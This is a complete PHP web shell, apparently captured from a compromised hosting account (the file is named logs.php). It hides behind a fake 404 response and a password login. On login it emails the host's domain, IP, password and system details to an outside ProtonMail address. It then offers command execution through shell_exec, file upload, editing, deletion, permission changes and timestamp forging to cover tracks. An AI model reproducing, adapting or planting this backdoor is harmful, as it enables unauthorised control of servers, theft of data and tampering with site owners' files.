HEX
Server: Apache
System: Linux wmsc1-wms544-wd-8866bb7-8bvxt 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: w6851 (16851)
PHP: 8.2.1
Disabled: apache_child_terminate,apache_setenv,define_syslog_variables,diskfreespace,disk_free_space,disk_total_space,dl,exec,leak,link,openlog,passthru,pfsockopen,popen,posix_getgrnam,posix_getpgid,posix_getpwuid,posix_getpwnam,posix_getrlimit,posix_initgroups,posix_kill,posix_mkfifo,posix_mknod,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,putenv,readlink,register_tick_function,shell_exec,show_source,symlink,syslog,system
Upload Files
File: /data/web/virtuals/6851/virtual/www/domains/ucto.genius-web.cz/logs.php
<?php
$pw = '$2y$10$tC7WNOhJsXqSuLSXM2BjneMbrN7dJ6d7JfZzEzha4vAHnW7Jdakdq';
session_start();
ignore_user_abort(true);
set_time_limit(0);
http_response_code(404);
error_reporting(0);
ini_set('display_errors', 0);
ini_set('log_errors', 0);

function scsOC($hexString) {
    $result = '';
    $length = strlen($hexString) - 1;
    $i = 0;
    while ($i < $length) {
        $result .= chr(hexdec($hexString[$i] . $hexString[$i + 1]));
        $i += 2;
    }
    return $result;
}

function Ce_vX($string) {
    $result = '';
    for ($i = 0; $i < strlen($string); $i++) {
        $result .= dechex(ord($string[$i]));
    }
    return $result;
}

function knstU($filePath) {
    return substr(sprintf('%o', fileperms($filePath)), -4);
}

function jq1Ug($dirPath) {
    $files = array_diff(scandir($dirPath), ['.', '..']);
    foreach ($files as $file) {
        $fullPath = "$dirPath/$file";
        if (is_dir($fullPath)) {
            jq1Ug($fullPath);
        } else {
            unlink($fullPath);
        }
    }
    rmdir($dirPath);
}

function fo73G($message, $type = 1, $redirect = '') {
    global $currentDir;
    $icon = $type == 1 ? "success" : "error";
    echo "<script>Swal.fire({title:\"" . ($type == 1 ? "Success" : "Error") . "\",text:\"$message\",icon:\"$icon\",confirmButtonColor:\"#6c757d\"}).then(()=>{document.location.href=\"?p=" . Ce_vX($currentDir) . $redirect . "\"});</script>";
}

function formatSize($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' bytes';
    }
}

if (!isset($_SESSION['seslog']) && function_exists('password_verify') && isset($_POST['pass']) && $_POST['pass'] && password_verify($_POST['pass'], $pw)) {
	$_SESSION['seslog'] = true;

	$to = 'bapakluheker@protonmail.com';
	$subject = '🔥 Shell Detected 🔥 - ' . $_SERVER['HTTP_HOST'];

	$ip = $_SERVER['REMOTE_ADDR'];
	$dm = $_SERVER['HTTP_HOST'];
	$url = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direct Access';
	$dir = getcwd();
	$pass = $_POST['pass'];

	$uname = function_exists('php_uname') ? @php_uname() : 'N/A';
	$uid = function_exists('exec') ? (@exec('id 2>/dev/null', $o) ? implode("\n", $o) : 'N/A') : 'N/A';

	$cpuCount = 'N/A';
	$cpuModel = 'N/A';
	if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
		$cpuCount = function_exists('shell_exec') ? trim(@shell_exec('echo %NUMBER_OF_PROCESSORS%')) : 'N/A';
		$cpuModel = function_exists('shell_exec') ? trim(@shell_exec('wmic cpu get name /value 2>nul | findstr Name')) : 'N/A';
		if ($cpuModel && strpos($cpuModel, '=') !== false) {
			$cpuModel = trim(substr($cpuModel, strpos($cpuModel, '=') + 1));
		}
	} else {
		$cpuCount = function_exists('shell_exec') ? trim(@shell_exec('nproc 2>/dev/null')) : 'N/A';
		$cpuModel = function_exists('shell_exec') ? trim(@shell_exec("grep -m1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2")) : 'N/A';
	}
	if (!$cpuCount) $cpuCount = 'N/A';
	if (!$cpuModel) $cpuModel = 'N/A';

	$msg = "🔥 Shell Detected 🔥\n\n"
		. "🌐 Domain: $dm\n"
		. "📁 Directory: $dir\n"
		. "🔗 Access: $url\n"
		. "🌍 IP: $ip\n"
		. "🔑 Pass: $pass\n"
		. "💻 Uname: \n$uname\n\n"
		. "👤 ID: \n$uid\n\n"
		. "🖥️ CPU(s): $cpuCount\n"
		. "⚙️ Model name: $cpuModel\n";

	$headers = "From: noreply@{$_SERVER['HTTP_HOST']}\r\n";
	$headers .= "X-Mailer: PHP/" . phpversion() . "\r\n";
	$headers .= "Content-Type: text/plain; charset=UTF-8\r\n";

	@mail($to, $subject, $msg, $headers);
}

if (!isset($_SESSION['seslog'])) {
	if (isset($_POST['pass']) && !$_POST['pass']) echo '<div class="container py-2 col-md-7"><div class="alert alert-warning alert-dismissible fade show"><strong>Error!!</strong> Form Can\'t be Empty<button type="button" class="btn-close" data-bs-dismiss="alert"></button></div></div>';
	elseif (isset($_POST['pass'])) echo '<div class="container py-2 col-md-7"><div class="alert alert-danger alert-dismissible fade show"><strong>Error!!</strong> invalid Password<button type="button" class="btn-close" data-bs-dismiss="alert"></button></div></div>';
	elseif (!function_exists('password_verify')) echo '<div class="container py-2 col-md-7"><div class="alert alert-warning alert-dismissible fade show"><strong>Error!!</strong> password_hash not supported, Please Upgrade PHP version<button type="button" class="btn-close" data-bs-dismiss="alert"></button></div></div>';

	echo '<html>
<head>
	<meta charset="UTF-8">
	<title>'.$_SERVER['HTTP_HOST'].' - l0g1n</title>
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<link href="//cdn.jsdelivr.net/npm/bootstrap@5.3.5/dist/css/bootstrap.min.css" rel="stylesheet">
	<link href="//cdn.jsdelivr.net/npm/bootstrap-icons@1.10.5/font/bootstrap-icons.css" rel="stylesheet">
	<link href="//pukimai1337.github.io/puki/dark.css" rel="stylesheet">
</head>
<body class="bg-secondary text-light">
<form action="" method="post">
	<div class="container-fluid py-3 col-md-7">
		<div class="box shadow-sm p-3 mb-5 bg-dark rounded text-end">
			<div class="text-center mb-3"><i class="bi bi-bug-fill"></i> Please Login</div>
			<div class="input-group mb-3">
				<div class="input-group-text"><i class="bi bi-person-circle"></i></div>
				<input name="pass" class="form-control form-control-sm" type="password" placeholder="pass...">
				<button name="login" class="btn btn-outline-light btn-sm"><i class="bi bi-arrow-right"></i></button>
			</div>
		</div>
	</div>
</form>
<script src="//cdn.jsdelivr.net/npm/bootstrap@5.3.5/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>';
	exit();
}


if (isset($_GET["a"]) && scsOC($_GET["a"]) == "download" && isset($_GET["n"])) {
    $dlFile = getcwd() . "/" . scsOC($_GET["n"]);
    if (is_file($dlFile) && file_exists($dlFile)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($dlFile) . '"');
        header('Content-Length: ' . filesize($dlFile));
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        readfile($dlFile);
        exit;
    }
}


if (isset($_GET["p"])) {
    chdir(scsOC($_GET["p"]));
}

$currentDir = getcwd();

if (isset($_GET["a"])) {
    $action = scsOC($_GET["a"]);

    if ($action == "delete") {
        if (isset($_GET["n"])) {
            $fileName = scsOC($_GET["n"]);
            $targetPath = "$currentDir/$fileName";

            if (is_dir($targetPath)) {
                jq1Ug($targetPath);
                if (!file_exists($targetPath)) {
                    fo73G("file deleted successfully");
                } else {
                    fo73G("failed to delete the folder", 0);
                }
            } else {
                if (file_exists($targetPath)) {
                    unlink($targetPath);
                    if (!file_exists($targetPath)) {
                        fo73G("file deleted successfully");
                    } else {
                        fo73G("failed to delete the file", 0);
                    }
                }
            }
        }
    }

    elseif ($action == "changeDate") {
        if (isset($_GET["n"])) {
            $fileName = scsOC($_GET["n"]);
            if (isset($_POST["change_date"])) {
                $newDate = $_POST["new_date"];
                $targetFile = "$currentDir/$fileName";
                $timestamp = strtotime($newDate);
                if ($timestamp && @touch($targetFile, $timestamp, $timestamp)) {
                    fo73G("Berhasil mengubah tanggal");
                } else {
                    fo73G("Gagal mengubah tanggal", 0);
                }
            }
        }
    }
}

if (isset($_POST["create_file"])) {
    $newFileName = basename($_POST["new_file_name"]);
    $fileContent = $_POST["file_content"];
    $targetDir = getcwd();
    $targetPath = "$targetDir/$newFileName";

    if (file_put_contents($targetPath, $fileContent) !== false) {
        fo73G("File berhasil dibuat", 1, "&a=" . Ce_vX("view") . "&n=" . Ce_vX($newFileName));
    } else {
        fo73G("File gagal dibuat", 0);
    }
}

if (isset($_POST["create_folder"])) {
    $folderName = basename($_POST["folder_name"]);
    $targetDir = getcwd();
    $targetPath = "$targetDir/$folderName";

    if (mkdir($targetPath, 0755, true)) {
        fo73G("Folder berhasil dibuat");
    } else {
        fo73G("Gagal membuat folder", 0);
    }
}

if (isset($_POST["rename_file"])) {
    if (isset($_GET["n"])) {
        $oldName = scsOC($_GET["n"]);
        $newName = basename($_POST["new_file_name"]);
        $targetDir = getcwd();
        $oldPath = "$targetDir/$oldName";
        $newPath = "$targetDir/$newName";

        if (rename($oldPath, $newPath)) {
            fo73G("Berhasil mengubah nama file");
        } else {
            fo73G("Gagal mengubah nama file", 0);
        }
    }
}

if (isset($_POST["save_file"])) {
    if (isset($_GET["n"])) {
        $fileName = scsOC($_GET["n"]);
        $newContent = $_POST["file_content"];
        $savePath = getcwd() . "/" . $fileName;
        if (file_put_contents($savePath, $newContent) !== false) {
            fo73G("File berhasil disimpan");
        } else {
            fo73G("Gagal menyimpan file", 0);
        }
    }
}

if (isset($_POST["change_permissions"])) {
    if (isset($_GET["n"])) {
        $fileName = scsOC($_GET["n"]);
        $newPermissions = $_POST["new_permissions"];
        $targetFile = "$currentDir/$fileName";
        if (@chmod($targetFile, octdec($newPermissions))) {
            fo73G("Berhasil mengubah izin");
        } else {
            fo73G("Gagal mengubah izin", 0);
        }
    }
}

if (isset($_POST["submit"])) {
    if (isset($_FILES["f"]["name"]) && count($_FILES["f"]["name"]) > 0) {
        foreach ($_FILES["f"]["name"] as $index => $fileName) {
            $tmpName = $_FILES["f"]["tmp_name"][$index];
            if ($tmpName != '') {
                $destination = getcwd() . DIRECTORY_SEPARATOR . $fileName;
                if (move_uploaded_file($tmpName, $destination)) {
                    fo73G("File berhasil diunggah.");
                } else {
                    fo73G("Gagal mengunggah file.");
                }
            }
        }
    }
}

$items = array_diff(scandir($currentDir), [".", ".."]);
$folders = [];
$files = [];
foreach ($items as $item) {
    if (is_dir("$currentDir/$item")) {
        $folders[] = $item;
    } else {
        $files[] = $item;
    }
}
natcasesort($folders);
natcasesort($files);
$sortedItems = array_merge(array_values($folders), array_values($files));

?>
<!DOCTYPE html>
<html lang="en" data-bs-theme="dark">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
    <title><?php echo $_SERVER['HTTP_HOST']; ?> - File Manager</title>
    <link href="//cdn.jsdelivr.net/npm/bootstrap@5.3.5/dist/css/bootstrap.min.css" rel="stylesheet">
    <link href="//cdn.jsdelivr.net/npm/bootstrap-icons@1.10.5/font/bootstrap-icons.css" rel="stylesheet">
    <link href="//pukimai1337.github.io/puki/dark.css" rel="stylesheet">
    <style>
        body {
            font-family: 'Segoe UI', system-ui, -apple-system, sans-serif;
            font-size: 14px;
        }
        .table > tbody > tr > td { vertical-align: middle; font-size: 13px; }
        .table > thead > tr > th { font-size: 13px; font-weight: 600; }
        .table-hover > tbody > tr:hover > td { background-color: rgba(108,117,125,0.15); }
        .action-btn { font-size: 12px; padding: 2px 8px; margin: 1px; }
        .breadcrumb-path a { color: #adb5bd; text-decoration: none; }
        .breadcrumb-path a:hover { color: #fff; }
        .info-bar { font-size: 13px; }
        .info-bar li { list-style: none; padding: 2px 0; }
        .info-bar li span { color: #dee2e6; }
        textarea.form-control { font-family: 'Courier New', monospace; font-size: 13px; resize: vertical; }
        .cmd-output { max-height: 300px; overflow-y: auto; }
        .folder-icon { color: #ffc107; }
        .file-icon { color: #adb5bd; }
    </style>
</head>
<body class="bg-dark text-light">
<div class="container-fluid px-3 py-2">

    <div class="box shadow-sm p-2 mb-2 bg-dark rounded border border-secondary">
        <ul class="info-bar mb-0 ps-2">
            <li><i class="bi bi-folder2-open me-1"></i> <strong>Dir:</strong>
                <span class="breadcrumb-path">
<?php
$pathParts = preg_split("/(\\\|\/)/", $currentDir);
foreach ($pathParts as $index => $part) {
    if ($index == 0 && $part == '') {
        echo '<a href="?p=2f">~</a>/';
        continue;
    }
    if ($part == '') continue;
    echo '<a href="?p=';
    $i = 0;
    while ($i <= $index) {
        if ($i > 0) echo "2f";
        echo Ce_vX($pathParts[$i]);
        $i++;
    }
    echo "\">{$part}</a>/";
}
?>
                </span>
            </li>
            <li><i class="bi bi-globe me-1"></i> <strong>Server:</strong> <span><?php echo gethostbyname($_SERVER["HTTP_HOST"]); ?></span> | <strong>Software:</strong> <span><?php echo $_SERVER["SERVER_SOFTWARE"]; ?></span></li>
            <li><i class="bi bi-cpu me-1"></i> <strong>System:</strong> <span><?php echo php_uname(); ?></span></li>
            <li><i class="bi bi-code-slash me-1"></i> <strong>PHP:</strong> <span><?php echo phpversion(); ?></span></li>
        </ul>
    </div>

<?php
$actionSet = isset($_GET["a"]) ? scsOC($_GET["a"]) : '';

if ($actionSet == "view" && isset($_GET["n"])) {
    $fileName = scsOC($_GET["n"]);
    echo '<div class="box shadow-sm p-3 mb-2 bg-dark rounded border border-secondary">';
    echo '<h6 class="mb-2"><i class="bi bi-eye me-1"></i> View: <span class="text-info">' . htmlspecialchars($fileName) . '</span></h6>';
    echo '<textarea class="form-control bg-dark text-light border-secondary" rows="18" readonly>' . htmlspecialchars(file_get_contents(getcwd() . "/" . $fileName)) . '</textarea>';
    echo '<div class="mt-2"><a href="?p=' . Ce_vX($currentDir) . '" class="btn btn-outline-secondary btn-sm"><i class="bi bi-arrow-left"></i> Back</a>';
    echo ' <a href="?p=' . Ce_vX($currentDir) . '&a=' . Ce_vX("edit") . '&n=' . Ce_vX($fileName) . '" class="btn btn-outline-light btn-sm"><i class="bi bi-pencil"></i> Edit</a></div>';
    echo '</div>';
}

elseif ($actionSet == "edit" && isset($_GET["n"])) {
    $fileName = scsOC($_GET["n"]);
    echo '<div class="box shadow-sm p-3 mb-2 bg-dark rounded border border-secondary">';
    echo '<h6 class="mb-2"><i class="bi bi-pencil-square me-1"></i> Edit: <span class="text-warning">' . htmlspecialchars($fileName) . '</span></h6>';
    echo '<form method="post">';
    echo '<textarea name="file_content" class="form-control bg-dark text-light border-secondary" rows="18">' . htmlspecialchars(file_get_contents(getcwd() . "/" . $fileName)) . '</textarea>';
    echo '<div class="mt-2"><button type="submit" name="save_file" class="btn btn-outline-light btn-sm"><i class="bi bi-save"></i> Save</button>';
    echo ' <a href="?p=' . Ce_vX($currentDir) . '" class="btn btn-outline-secondary btn-sm"><i class="bi bi-arrow-left"></i> Back</a></div>';
    echo '</form></div>';
}

elseif ($actionSet == "changePerms" && isset($_GET["n"])) {
    $fileName = scsOC($_GET["n"]);
    echo '<div class="box shadow-sm p-3 mb-2 bg-dark rounded border border-secondary">';
    echo '<h6 class="mb-2"><i class="bi bi-shield-lock me-1"></i> Change Permission: <span class="text-info">' . htmlspecialchars($fileName) . '</span></h6>';
    echo '<form method="post"><div class="input-group input-group-sm" style="max-width:300px;">';
    echo '<input type="text" name="new_permissions" class="form-control bg-dark text-light border-secondary" value="' . knstU(getcwd() . "/" . $fileName) . '">';
    echo '<button type="submit" name="change_permissions" class="btn btn-outline-light"><i class="bi bi-check-lg"></i> Apply</button></div>';
    echo '<div class="mt-2"><a href="?p=' . Ce_vX($currentDir) . '" class="btn btn-outline-secondary btn-sm"><i class="bi bi-arrow-left"></i> Back</a></div>';
    echo '</form></div>';
}

elseif ($actionSet == "changeDate" && isset($_GET["n"])) {
    $fileName = scsOC($_GET["n"]);
    $currentMtime = date("Y-m-d\TH:i", filemtime("$currentDir/$fileName"));
    echo '<div class="box shadow-sm p-3 mb-2 bg-dark rounded border border-secondary">';
    echo '<h6 class="mb-2"><i class="bi bi-calendar-event me-1"></i> Change Date: <span class="text-info">' . htmlspecialchars($fileName) . '</span></h6>';
    echo '<form method="post"><div class="input-group input-group-sm" style="max-width:350px;">';
    echo '<input type="datetime-local" name="new_date" class="form-control bg-dark text-light border-secondary" value="' . $currentMtime . '">';
    echo '<button type="submit" name="change_date" class="btn btn-outline-light"><i class="bi bi-check-lg"></i> Apply</button></div>';
    echo '<div class="mt-2"><a href="?p=' . Ce_vX($currentDir) . '" class="btn btn-outline-secondary btn-sm"><i class="bi bi-arrow-left"></i> Back</a></div>';
    echo '</form></div>';
}

elseif ($actionSet == "newFile") {
    echo '<div class="box shadow-sm p-3 mb-2 bg-dark rounded border border-secondary">';
    echo '<h6 class="mb-2"><i class="bi bi-file-earmark-plus me-1"></i> New File</h6>';
    echo '<form method="post">';
    echo '<input type="text" name="new_file_name" class="form-control form-control-sm bg-dark text-light border-secondary mb-2" placeholder="filename.ext">';
    echo '<textarea name="file_content" class="form-control bg-dark text-light border-secondary" rows="12" placeholder="File content..."></textarea>';
    echo '<div class="mt-2"><button type="submit" name="create_file" class="btn btn-outline-light btn-sm"><i class="bi bi-plus-lg"></i> Create</button>';
    echo ' <a href="?p=' . Ce_vX($currentDir) . '" class="btn btn-outline-secondary btn-sm"><i class="bi bi-arrow-left"></i> Back</a></div>';
    echo '</form></div>';
}

elseif ($actionSet == "newDir") {
    echo '<div class="box shadow-sm p-3 mb-2 bg-dark rounded border border-secondary">';
    echo '<h6 class="mb-2"><i class="bi bi-folder-plus me-1"></i> New Folder</h6>';
    echo '<form method="post"><div class="input-group input-group-sm" style="max-width:400px;">';
    echo '<input name="folder_name" class="form-control bg-dark text-light border-secondary" placeholder="folder_name" autocomplete="off">';
    echo '<button type="submit" name="create_folder" class="btn btn-outline-light"><i class="bi bi-plus-lg"></i> Create</button></div>';
    echo '<div class="mt-2"><a href="?p=' . Ce_vX($currentDir) . '" class="btn btn-outline-secondary btn-sm"><i class="bi bi-arrow-left"></i> Back</a></div>';
    echo '</form></div>';
}

elseif ($actionSet == "rename" && isset($_GET["n"])) {
    $fileName = scsOC($_GET["n"]);
    echo '<div class="box shadow-sm p-3 mb-2 bg-dark rounded border border-secondary">';
    echo '<h6 class="mb-2"><i class="bi bi-input-cursor-text me-1"></i> Rename: <span class="text-info">' . htmlspecialchars($fileName) . '</span></h6>';
    echo '<form method="post"><div class="input-group input-group-sm" style="max-width:400px;">';
    echo '<input type="text" name="new_file_name" class="form-control bg-dark text-light border-secondary" value="' . htmlspecialchars($fileName) . '">';
    echo '<button type="submit" name="rename_file" class="btn btn-outline-light"><i class="bi bi-check-lg"></i> Rename</button></div>';
    echo '<div class="mt-2"><a href="?p=' . Ce_vX($currentDir) . '" class="btn btn-outline-secondary btn-sm"><i class="bi bi-arrow-left"></i> Back</a></div>';
    echo '</form></div>';
}

if (!$actionSet) {
?>
    <div class="row g-2 mb-2">
        <div class="col-md-6">
            <div class="box shadow-sm p-2 bg-dark rounded border border-secondary h-100">
                <form method="post" enctype="multipart/form-data">
                    <div class="input-group input-group-sm">
                        <input type="file" name="f[]" class="form-control form-control-sm bg-dark text-light border-secondary" multiple>
                        <button type="submit" name="submit" class="btn btn-outline-light btn-sm"><i class="bi bi-upload"></i> Upload</button>
                    </div>
                </form>
            </div>
        </div>
        <div class="col-md-6">
            <div class="box shadow-sm p-2 bg-dark rounded border border-secondary h-100">
                <form method="post">
                    <div class="input-group input-group-sm">
                        <span class="input-group-text bg-dark border-secondary text-secondary">$</span>
                        <input type="text" name="command" class="form-control form-control-sm bg-dark text-light border-secondary" placeholder="command..." autocomplete="off">
                        <button type="submit" name="run_command" class="btn btn-outline-light btn-sm"><i class="bi bi-terminal"></i> Run</button>
                    </div>
                </form>
            </div>
        </div>
    </div>

<?php
    if (isset($_POST["run_command"])) {
        $command = $_POST["command"];
        $output = shell_exec($command);
        echo '<div class="box shadow-sm p-2 mb-2 bg-dark rounded border border-secondary">';
        echo '<div class="d-flex justify-content-between align-items-center mb-1"><small class="text-secondary"><i class="bi bi-terminal me-1"></i><code>' . htmlspecialchars($command) . '</code></small></div>';
        echo '<pre class="cmd-output bg-dark text-light p-2 rounded border border-secondary mb-0" style="white-space:pre-wrap;word-break:break-all;font-size:12px;">' . htmlspecialchars($output) . '</pre>';
        echo '</div>';
    }
}
?>

    <div class="d-flex justify-content-between align-items-center mb-1">
        <div>
            <a href="?p=<?php echo Ce_vX($currentDir); ?>&a=<?php echo Ce_vX("newFile"); ?>" class="btn btn-outline-secondary btn-sm"><i class="bi bi-file-earmark-plus"></i> New File</a>
            <a href="?p=<?php echo Ce_vX($currentDir); ?>&a=<?php echo Ce_vX("newDir"); ?>" class="btn btn-outline-secondary btn-sm"><i class="bi bi-folder-plus"></i> New Folder</a>
        </div>
        <small class="text-secondary"><?php echo count($folders); ?> folders, <?php echo count($files); ?> files</small>
    </div>

    <div class="table-responsive">
    <table class="table table-hover table-dark table-sm table-borderless mb-1">
    <thead>
    <tr class="table-secondary text-dark">
        <th style="width:35%;">Name</th>
        <th style="width:10%;">Size</th>
        <th style="width:10%;">Permission</th>
        <th style="width:15%;">Modified</th>
        <th style="width:30%;" class="text-center">Action</th>
    </tr>
    </thead>
    <tbody>
<?php
foreach ($sortedItems as $item) {
    $fullPath = "$currentDir/$item";
    $mtime = date("Y-m-d H:i", filemtime($fullPath));
    $isDir = is_dir($fullPath);
    $permColor = is_writable($fullPath) ? "text-success" : (!is_readable($fullPath) ? "text-danger" : "text-secondary");
    $perm = knstU($fullPath);

    if ($isDir) {
        echo '<tr>';
        echo '<td><i class="bi bi-folder-fill folder-icon me-1"></i><a href="?p=' . Ce_vX("$currentDir/$item") . '" class="text-warning text-decoration-none">' . htmlspecialchars($item) . '</a></td>';
        echo '<td class="text-secondary">—</td>';
        echo '<td><a href="?p=' . Ce_vX($currentDir) . '&a=' . Ce_vX("changePerms") . '&n=' . Ce_vX($item) . '" class="' . $permColor . ' text-decoration-none">' . $perm . '</a></td>';
        echo '<td><a href="?p=' . Ce_vX($currentDir) . '&a=' . Ce_vX("changeDate") . '&n=' . Ce_vX($item) . '" class="text-secondary text-decoration-none" title="Click to change date">' . $mtime . '</a></td>';
        echo '<td class="text-center">';
        echo '<a href="?p=' . Ce_vX($currentDir) . '&a=' . Ce_vX("rename") . '&n=' . Ce_vX($item) . '&t=d" class="btn btn-outline-secondary action-btn" title="Rename"><i class="bi bi-input-cursor-text"></i></a> ';
        echo '<a href="?p=' . Ce_vX($currentDir) . '&a=' . Ce_vX("delete") . '&n=' . Ce_vX($item) . '" class="btn btn-outline-danger action-btn delete-btn" data-type="folder" title="Delete"><i class="bi bi-trash3"></i></a>';
        echo '</td>';
        echo '</tr>';
    } else {
        $size = formatSize(filesize($fullPath));
        echo '<tr>';
        echo '<td><i class="bi bi-file-earmark file-icon me-1"></i><a href="?p=' . Ce_vX($currentDir) . '&a=' . Ce_vX("view") . '&n=' . Ce_vX($item) . '" class="text-light text-decoration-none">' . htmlspecialchars($item) . '</a></td>';
        echo '<td class="text-secondary">' . $size . '</td>';
        echo '<td><a href="?p=' . Ce_vX($currentDir) . '&a=' . Ce_vX("changePerms") . '&n=' . Ce_vX($item) . '" class="' . $permColor . ' text-decoration-none">' . $perm . '</a></td>';
        echo '<td><a href="?p=' . Ce_vX($currentDir) . '&a=' . Ce_vX("changeDate") . '&n=' . Ce_vX($item) . '" class="text-secondary text-decoration-none" title="Click to change date">' . $mtime . '</a></td>';
        echo '<td class="text-center">';
        echo '<a href="?p=' . Ce_vX($currentDir) . '&a=' . Ce_vX("edit") . '&n=' . Ce_vX($item) . '" class="btn btn-outline-light action-btn" title="Edit"><i class="bi bi-pencil"></i></a> ';
        echo '<a href="?p=' . Ce_vX($currentDir) . '&a=' . Ce_vX("rename") . '&n=' . Ce_vX($item) . '&t=f" class="btn btn-outline-secondary action-btn" title="Rename"><i class="bi bi-input-cursor-text"></i></a> ';
        echo '<a href="?p=' . Ce_vX($currentDir) . '&a=' . Ce_vX("download") . '&n=' . Ce_vX($item) . '" class="btn btn-outline-info action-btn" title="Download"><i class="bi bi-download"></i></a> ';
        echo '<a href="?p=' . Ce_vX($currentDir) . '&a=' . Ce_vX("delete") . '&n=' . Ce_vX($item) . '" class="btn btn-outline-danger action-btn delete-btn" data-type="file" title="Delete"><i class="bi bi-trash3"></i></a>';
        echo '</td>';
        echo '</tr>';
    }
}
?>
    </tbody>
    </table>
    </div>

    <div class="text-center py-2">
        <small class="text-secondary">&copy; <?php echo date('Y'); ?> &mdash; Shell Manager</small>
    </div>

</div>

<script src="//cdn.jsdelivr.net/npm/bootstrap@5.3.5/dist/js/bootstrap.bundle.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<script>
document.querySelectorAll('.delete-btn').forEach(function(el) {
    el.addEventListener('click', function(e) {
        e.preventDefault();
        var href = this.getAttribute('href');
        var type = this.getAttribute('data-type');
        Swal.fire({
            title: 'Delete ' + type + '?',
            text: 'This action cannot be undone!',
            icon: 'warning',
            showCancelButton: true,
            confirmButtonColor: '#dc3545',
            cancelButtonColor: '#6c757d',
            confirmButtonText: 'Yes, delete it!',
            background: '#212529',
            color: '#dee2e6'
        }).then(function(result) {
            if (result.isConfirmed) {
                window.location.href = href;
            }
        });
    });
});

var tooltipTriggerList = [].slice.call(document.querySelectorAll('[title]'));
tooltipTriggerList.forEach(function(el) {
    new bootstrap.Tooltip(el);
});
</script>

</body>
</html>